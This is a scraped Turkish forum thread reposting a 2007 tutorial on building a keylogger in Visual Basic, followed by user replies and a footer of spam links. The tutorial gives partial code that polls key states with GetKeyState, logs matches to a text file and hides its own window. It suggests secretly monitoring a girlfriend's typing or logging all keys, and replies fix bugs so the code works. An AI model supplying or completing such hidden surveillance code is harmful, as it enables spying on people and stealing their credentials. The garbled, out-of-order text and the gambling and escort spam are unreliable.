Denedim çalışmıo

'Ilk Satıra Toplu Olarak Oncekileri Atadık. Print

güzele benziyo

Saol güzel paylaşım olmuş denedim çalışıyooo...

End Function Private Function OncekileriOku As String Dim Satir As String Dim Hafiza As String 'Dosyamızı Actık. Open "c:\gunluk. txt" For Input As

'Hafizadaki Bilgiyi String Degerdeki Fonksyiona Adadik. OncekileriOku = Hafiza End Function Private Sub Form_Load Dim Dosya 'Dosyamızın Var Olup Olmadığını Kontrol Ediyoruz Dosya = Dir 'Geri Donen Değer Boşsa If Dosya = "" Then 'Yeni Bir Dosya Yaratıyoruz. Open "c:\gunluk. txt" For Output As

End If 'Kendini Gizledi me. hide End Sub '''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''' ''''''' Kodlar Arasında Gerekli Aciklamayı Yaptım, Tek Yapmanız Gereken Projenize Bir Timer Ekley ip, Projeyi Çalıştırmak, Çalıştıgı Sürece Bastığınız Tuşlar Arasında i + b + o Karakterlerini ar ayacaktır... Burada Kendi Ismınızı Yapıp Kız Arkadaşınız Bilgisayar Başında Oturdugu Sürede Kac Kere Ismınızı Kullandiğini Öğrenebilirsiniz... veya Tüm Tuşların Kayıtlarını Tutup, Günlükler Ha linde Takip Yapabilirsiniz.. Buradaki GetKeyState Fonksiyonu Yerine GetAsyncKeyState Fonksiyonuda Kullanabilirsiniz. Aynı İşle mi Gercekleştirecektir. ''''''''' Tuş Kaydedicilerin Hiçbir Amaçla İyi Olarak Kullanildiği Biryer Olamaz. Genel Anlamda Kul lanıcıların Kişisel Haklarına Tecavüz Etmek Amacli Kullanılırlar... Tuş Kaydediciler cc Bilgilerini Calmadan, Eposta Hesaplarının Bilgilerini Almaya Kadar Birçok Konudaa Kullanılmaktadır. Sisteminiz Üzerinde Calişan Bir Keylogger 'la Başınız Çok Ağrıyabilir... Örnek Uygulama İçin Şu Adrese Göz Atın: http://www.turksecuritymaster.com/Se... yloggerlar. rar ######## BİTİŞ ######## Bu Ders Ibrahim BALIÇ Tarafından www.turksecuritymaster.com Kullanıcıları İçin Hazırlanmıştır. Ibrahim BALIÇ TSM Security Programmer. NOT:Alıntıdır arama yaptım çıkmadı werildiyse pardon

# Konu : Keyloggerlar Tarih : 23/04/2007 Saat : 08:24 Yazar : Ibrahim BALIÇ # İçerik : 1. Giriş 2. Key Log Mantığı 3. Keylogger 4. Çıkış ''''''''' Keylogger Ingilizce, Key Logger Kelimelerinden Oluşur, Türkçe Karşılığı Tuş Kaydedicidir. Bu Konuda Sizlere Keylogger'ları Anlatacağım. Keyloggerları Tanıdıktan Sonra Ufak Bir Uygulamalı Olarak Örnek bir Keylogger Geliştireceğiz.. ''''''''''''''''' Keyloggerlara Direk Olarak Girmeden Önce Bilmeniz Gereken Şeyin Sistem Mantığı Olduğunuve Kavramanız Gerektiğini Düşünüyorum. Bu Yüzden Kısa Olmak Şartı İle Biraz Göz Atalım.. Işletim Sistemi Üzerindeki Herşeyi Dışarıdan Komutlarla Yönetiyoruz... Şuan Hazırladığım Bu Konu yuda Klavyemdeki Tuşlara Basarak Metin Belgesi İçerisine Aktarıyorum, Fakat Olay Bundan İbaret değil, Ben Klavyeme, İşaretli Tuşa Basarak Bir Komut Yolluyorum, Klavyem Bu Komutu Bilgisayarımın Kasasına, AnaKartıma 'ima Gönderiyor, Main Board Bunu Veri Yolları 'ile Işlemcime Taşıyor, Ram'e Yazıyor Derken İşletim Sistemime Ulaşıyor, Ve İşletim Sıstemim Tarafından Belirlenmiş, Proses Üzerine İşleniyor... Yani Burada Anlamanız Gereke n Olay Basmış Olduğumuz Bir Tuş Ana Olarak 4,5 İşlemden Gecerek Ekrana Taşınıyor... Bu Işlemlerden Gecerken, Gönderilen Mesajlar İncelenecek Proses'in Yanı Sıra Farklı Bir Proses Ta rafındanda Dinlenebilir/Kaydedilebilir. Bu Kaydedicilere Dinleyicilere Keylogger Diyoruz. Yani Tuş Kaydedici... Şimdi Ufak Bir Örnek İle Bu Bilgiyi Pekiştirelim: Microsoft İşletim Sistemi Üzerinde, Tuş Durumunu Inceleyen Fonksiyonların Listesine MSDN'den Bak abilirsiniz. Ben Burada Secimimi GetKeyState'den Yana Secip, Sizede Secim Hakkı Olarak 2 Fonksi yon Sunuyorum, Kuracağım Fonksiyon İcerisinde İkisinden Birini Kullanabilirsiniz... | | --> GetAsyncKeyState | --> GetKeyState | ''''''''''''''''''''' Visual Basic Ile Bu Fonksyionlardan Birini Kullanarak Tuş Kaydetmeyi Inceliyelim. Ben Burada 3 Ö zel Karakteri Bulup Kaydetmesi İçin Bir Araç Yazacağım. Eğer Bu 3 Özel Karaktere Ard Ard'a Baslı rsa Benim Tuş Kaydedicim Bunu Not Edecek.. Ben Burada Karakter Olarak "i","b","o" Harflerini secim Siz Geliştirirken Bunu Değiştirebilir Veya Tüm Tuşlar İÇin Uyarliyabilirsiniz.. VisualBasic Project - > Tsm KeyLog Ornegi '''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''' ''''''' Private Declare Function GetKeyState Lib "user32" As Integer Const karakter1 = 222 ' i karakterinin keykodu Const karakter2 = 66 ' b karakterinin keykodu Const karakter3 = 79 ' o karakterinin keykodu Dim say As Long ' islem basamaklarini hafizada tutmak icin degisken. Private Sub Timer1_Timer ' Eger Basilan Tus Karakter Bir ise islemi'1 Yap If GetKeyState(karakter1) < 0 Then say = 1 ' Eger islem 1 ve basilan karakter 2 ise Islemi 2 Yap If say = 1 And GetKeyState(karakter2) < 0 Then say = 2 ' Eger islem 2 ve basilan karakter 3 ise Kayit Yap If say = 2 And GetKeyState(karakter3) < 0 Then call KayitEt End Sub Private Function KayitEt Dim OkunanSatir As String 'Onceki Kayitlari Okumak İcin Oluşturdugumuz Fonksyiondaki Degeri Degiskene Atadık. OkunanSatir = OncekileriOku 'Bir Onceki Islem Bitene Kadar Beklemesini Belirttik DoEvents 'Islem Bittikten Sonra Gunluk. txt Dosyamızı Actık Open "c:\gunluk. txt" For Output As

Arkadaşlar kaç gündür deniyorum ama her seferinde sorun çıkarıyor Bii düzeltsek olmaz mı?

If say = 2 And GetKeyState(karakter3) < 0 Then call KayitEt Bu satırda fonksyona bi deger gönderilesi gerekiyo sanırım. sıfır yollayabiliriz KayitEt(0) bide form a ekledigimiz timer a interval degeri vermemiz gerekiyo 1000 = 1 saniyedir buna göre ayarlama yapabilirsiniz Bu degişikliklerden sonra çalışıyo... You must log in or register to reply here. Forum Programlama Visual Basic Bize Ulaşın Forum Kuralları Gizlilik Sözleşmesi Yardım Ana Sayfa RSS bafra oto ekspertiz, Tiktokbegeni.com, erkek cüzdan, eskişehir haber, çelik ranza, hasta yatağı kiralama, bonus veren siteler, ankara oto ekspertiz, istanbul oto ekspertiz, eskişehir oto ekspertiz, çorum oto ekspertiz, geobonus. org, deneme bonusu, bonusportali.com, vbet giriş, Pokerklas, Caddebet, megapari giriş, meritking giriş, meritking, kingroyal giriş, bahis siteleri, betwinner, rokubet giriş, deneme bonusu veren siteler, takipçi satın al, deneme bonusu veren siteler, betnano giriş, elektronik sigara, deneme bonusu veren siteler, replika saat, melbet giriş, smok, deneme bonusu, bahis forum, melbet, izmit oto ekspertiz, poppers turkiye, eskişehir oto ekspertiz, dalyan otel, hack forum, melbet, sohbet numaraları Wardom. Org Bilginin Adresi. 1998'den beri Wardom yayında! Wardom Türkiye'nin en eski forum sitelerinden biri olarak günümüz web sitelerine sponsor linkler yayınlanmaktadır. ataşehir escort maltepe escort pendik escort gaziantep rus escort xxx videos erotik film izle istanbul escort ankara escort istanbul escort gaziantep escort gaziantep escort Paylaşım sitemizde 5651/8 ve 125. madellere göre, tüm üyeler ve ziyaretçiler sitenin kullanımı ve yapılan paylaşımlarından kendileri sorumludur. Şikayetleriniz için bize ulaşabilirsiniz. Tüm hakları saklıdır 2015 Wardom. Org bilginin adresi. Forum ve bilgisayar güvenliği sitesi. var sc_project=2030864;var sc_invisible=1;var sc_security="c6df530c"; Üst <div class="tooltip-content-inner"> <div class="reactTooltip"> <a href="#" class="reaction reaction--1" data-reaction-id="1"><i aria-hidden="true"></i><img src="data:image/gif;base64, R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" class="reaction-sprite js-reaction" alt="Like" title="Like" data-xf-init="tooltip" data-extra-class="tooltip--basic tooltip--noninteractive" /></a> <a href="#" class="reaction reaction--2" data-reaction-id="2"><i aria-hidden="true"></i><img src="data:image/gif;base64, R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" class="reaction-sprite js-reaction" alt="Love" title="Love" data-xf-init="tooltip" data-extra-class="tooltip--basic tooltip--noninteractive" /></a> <a href="#" class="reaction reaction--3" data-reaction-id="3"><i aria-hidden="true"></i><img src="data:image/gif;base64, R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" class="reaction-sprite js-reaction" alt="Haha" title="Haha" data-xf-init="tooltip" data-extra-class="tooltip--basic tooltip--noninteractive" /></a> <a href="#" class="reaction reaction--4" data-reaction-id="4"><i aria-hidden="true"></i><img src="data:image/gif;base64, R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" class="reaction-sprite js-reaction" alt="Wow" title="Wow" data-xf-init="tooltip" data-extra-class="tooltip--basic tooltip--noninteractive" /></a> <a href="#" class="reaction reaction--5" data-reaction-id="5"><i aria-hidden="true"></i><img src="data:image/gif;base64, R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" class="reaction-sprite js-reaction" alt="Sad" title="Sad" data-xf-init="tooltip" data-extra-class="tooltip--basic tooltip--noninteractive" /></a> <a href="#" class="reaction reaction--6" data-reaction-id="6"><i aria-hidden="true"></i><img src="data:image/gif;base64, R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" class="reaction-sprite js-reaction" alt="Angry" title="Angry" data-xf-init="tooltip" data-extra-class="tooltip--basic tooltip--noninteractive" /></a> </div> </div> { "@context": "https://schema.org", "@type": "DiscussionForumPosting", "@id": "https:\/\/www.wardom.org\/threads\/keyloggerlar.148526\/", "headline": "Keyloggerlar", "articleBody": "\r\n#\r\nKonu : Keyloggerlar\r\nTarih : 23\/04\/2007\r\nSaat : 08:24\r\nYazar : Ibrahim BALIÇ\r\n#\r\n\r\n\r\nİçerik :\r\n\r\n1. Giriş\r\n2. Key Log Mantığı\r\n3. Keylogger \r\n4. Çıkış\r\n\r\n \r\n\r\n \r\n'''''''''\r\n\r\n\r\nKeylogger Ingilizce, Key Logger Kelimelerinden Oluşur, Türkçe Karşılığı Tuş Kaydedicidir.\r\nBu Konuda Sizlere Keylogger'ları Anlatacağım. Keyloggerları Tanıdıktan Sonra Ufak Bir Uygulamalı\r\nOlarak Örnek bir Keylogger Geliştireceğiz..\r\n\r\n \r\n'''''''''''''''''\r\n\r\n\r\nKeyloggerlara Direk Olarak Girmeden Önce Bilmeniz Gereken Şeyin Sistem Mantığı Olduğunuve\r\nKavramanız Gerektiğini Düşünüyorum. Bu Yüzden Kısa Olmak Şartı İle Biraz Göz Atalım..\r\n\r\nIşletim Sistemi Üzerindeki Herşeyi Dışarıdan Komutlarla Yönetiyoruz... Şuan Hazırladığım Bu Konu\r\nyuda Klavyemdeki Tuşlara Basarak Metin Belgesi İçerisine Aktarıyorum, Fakat Olay Bundan İbaret\r\ndeğil, Ben Klavyeme, İşaretli Tuşa Basarak Bir Komut Yolluyorum, Klavyem Bu Komutu Bilgisayarımın\r\nKasasına, AnaKartıma 'ima Gönderiyor, Main Board Bunu Veri Yolları 'ile\r\nIşlemcime Taşıyor, Ram'e Yazıyor Derken İşletim Sistemime Ulaşıyor, Ve İşletim Sıstemim Tarafından\r\nBelirlenmiş, Proses Üzerine İşleniyor... Yani Burada Anlamanız Gereke\r\nn Olay Basmış Olduğumuz Bir Tuş Ana Olarak 4,5 İşlemden Gecerek Ekrana Taşınıyor...\r\n\r\nBu Işlemlerden Gecerken, Gönderilen Mesajlar İncelenecek Proses'in Yanı Sıra Farklı Bir Proses Ta\r\nrafındanda Dinlenebilir\/Kaydedilebilir. Bu Kaydedicilere Dinleyicilere Keylogger Diyoruz. Yani Tuş\r\nKaydedici... Şimdi Ufak Bir Örnek İle Bu Bilgiyi Pekiştirelim:\r\n\r\nMicrosoft İşletim Sistemi Üzerinde, Tuş Durumunu Inceleyen Fonksiyonların Listesine MSDN'den Bak\r\nabilirsiniz. Ben Burada Secimimi GetKeyState'den Yana Secip, Sizede Secim Hakkı Olarak 2 Fonksi\r\nyon Sunuyorum, Kuracağım Fonksiyon İcerisinde İkisinden Birini Kullanabilirsiniz...\r\n\r\n \r\n|\r\n| --> GetAsyncKeyState\r\n| --> GetKeyState\r\n| \r\n\r\n \r\n'''''''''''''''''''''\r\n\r\n\r\nVisual Basic Ile Bu Fonksyionlardan Birini Kullanarak Tuş Kaydetmeyi Inceliyelim. Ben Burada 3 Ö\r\nzel Karakteri Bulup Kaydetmesi İçin Bir Araç Yazacağım. Eğer Bu 3 Özel Karaktere Ard Ard'a Baslı\r\nrsa Benim Tuş Kaydedicim Bunu Not Edecek.. Ben Burada Karakter Olarak \"i\",\"b\",\"o\" Harflerini\r\nsecim Siz Geliştirirken Bunu Değiştirebilir Veya Tüm Tuşlar İÇin Uyarliyabilirsiniz..\r\n\r\nVisualBasic\r\nProject - > Tsm KeyLog Ornegi\r\n'''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''' '''''''\r\n \r\n\r\nPrivate Declare Function GetKeyState Lib \"user32\" As Integer\r\n\r\nConst karakter1 = 222 ' i karakterinin keykodu\r\nConst karakter2 = 66 ' b karakterinin keykodu\r\nConst karakter3 = 79 ' o karakterinin keykodu\r\nDim say As Long ' islem basamaklarini hafizada tutmak icin degisken.\r\n\r\nPrivate Sub Timer1_Timer \r\n\r\n' Eger Basilan Tus Karakter Bir ise islemi'1 Yap\r\nIf GetKeyState(karakter1) < 0 Then say = 1\r\n' Eger islem 1 ve basilan karakter 2 ise Islemi 2 Yap\r\nIf say = 1 And GetKeyState(karakter2) < 0 Then say = 2\r\n' Eger islem 2 ve basilan karakter 3 ise Kayit Yap\r\nIf say = 2 And GetKeyState(karakter3) < 0 Then call KayitEt \r\nEnd Sub\r\n\r\nPrivate Function KayitEt \r\n\r\nDim OkunanSatir As String\r\n\r\n'Onceki Kayitlari Okumak İcin Oluşturdugumuz Fonksyiondaki Degeri Degiskene Atadık.\r\nOkunanSatir = OncekileriOku\r\n'Bir Onceki Islem Bitene Kadar Beklemesini Belirttik\r\nDoEvents\r\n'Islem Bittikten Sonra Gunluk. txt Dosyamızı Actık\r\nOpen \"c:\\gunluk. txt\" For Output As

'Son Satır Olana Kadar Kosul Kostuk Do Until EOF(1) 'Satir'i Okuduk Line Input

Güzele

'İçine Boş bişi Yazıp." Print